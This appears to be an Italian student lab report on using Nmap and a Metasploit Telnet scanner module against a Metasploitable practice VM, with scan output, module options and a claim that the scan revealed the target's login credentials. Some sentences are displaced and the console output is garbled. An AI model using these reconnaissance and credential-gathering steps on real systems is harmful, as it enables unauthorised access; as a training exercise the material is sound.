Report Telnet exploit

Nell'esercizio di oggi dobbiamo sfruttare il protocollo Telnet per un exploit su Metasploitable.

eventuale stateful firewall (che blocca i pacchetti in ingresso, ma non quelli in uscita).

Un exploit è un tipo di codice malevolo che sfrutta una vulnerabilità già presente in un sistema. Lo scopo di un exploit è penetrare un sistema target per rubare dati, caricare codice malevolo, creare una connessione (shell) su un dispositivo target in modo da potervi accedere liberamente. Possiamo creare due tipi di shell: bind shell (la connessione ha direzione attaccante > taget) o reverse shell (direzione target > attaccante). La reverse shell è molto più comune, in quanto evita il problema di un

Iniziamo facendo una scansione dell'indirizzo IP target con Nmap per verificare che il servizio Telnet sia effettivamente attivo su Metasploitable. Usiamo una scansione aggressiva, che ci da più informazioni possibile. Vediamo che il servizio Telnet è abilitato sulla porta standard numero 23.

Telnet è un protocollo usato per la connssione da remoto; non è un protocollo che usa crittografia, quindi è già di per se vulnerabile. Inoltre, per quanto la porta 23 sia quella standard, è buona pratica spostare Telnet su una porta con numero superiore alla 1023 (le "well known ports"), per dare meno riferimenti ad un eventuale attaccante.

```
STATE SERVICE
                            VERSION
21/tcp
         open ftp
                            vsftpd 2.3.4
  ftp-syst:
   STAT:
  FTP server status:
       Connected to 192.168.1.25
       Logged in as ftp
       TYPE: ASCII
       No session bandwidth limit
       Session timeout in seconds is 300
       Control connection is plain text
       Data connections will be plain text
       vsFTPd 2.3.4 - secure, fast, stable
 End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
                           OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
22/tcp open ssh
  ssh-hostkey:
    1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
    2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000,
TARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
```

Ora apriamo Metasploit e cerchiamo i possibili exploit che possiamo usare contro il protocollo Telnet. Troviamo il modulo ausiliario che ci serve; i moduli ausiliari sono moduli di supporto che forniscono maggiori informazioni sulla rete target, normalmente non portano payload e non sono quindi usati per attacchi diretti.

Nell'immagine sotto troviamo il modulo che ci serve, l'auxiliary telnet version.

```
12 auxiliary/scanner/telnet/satel_cmd_exec 2017-04-07
normal No Satel Iberia SenNet Data Logger and Electricity Meters Command In
jection Vulnerability
13 auxiliary/scanner/telnet/telnet_login
normal No Telnet Login Check Scanner
14 auxiliary/scanner/telnet/telnet_version
normal No Telnet Service Banner Detection
15 auxiliary/scanner/telnet/telnet_encrypt_overflow
normal No Telnet Service Encryption Key ID Overflow Detection
```

Impostiamo l'indirizzo IP target, necessario per far funzionare l'exploit. Vediamo tra l'altro che questo exploit non richiede payload.

```
msf6 auxiliary(
                                            ) > set rhosts 192.168.1.40
rhosts ⇒ 192.168.1.40
                              telnet version) > show options
msf6 auxiliary(
Module options (auxiliary/scanner/telnet/telnet_version):
             Current Setting Required Description
   PASSWORD
                                        The password for the specified username
   RHOSTS
             192.168.1.40
                                        The target host(s), see https://docs.metasp
                              ves
                                        loit.com/docs/using-metasploit/basics/using
                                         -metasploit.html
                                        The target port (TCP)
   RPORT
             23
                              ves
   THREADS
                                        The number of concurrent threads (max one p
                              yes
                                        er host)
   TIMEOUT
             30
                              yes
                                         Timeout for the Telnet probe
   USERNAME
                                        The username to authenticate as
                              no
View the full module info with the info, or info -d command.
```

Possiamo quindi procedere con l'exploit. Vediamo che con questa particolare scansione abbiamo ottenuto lo username e la password del sistema target.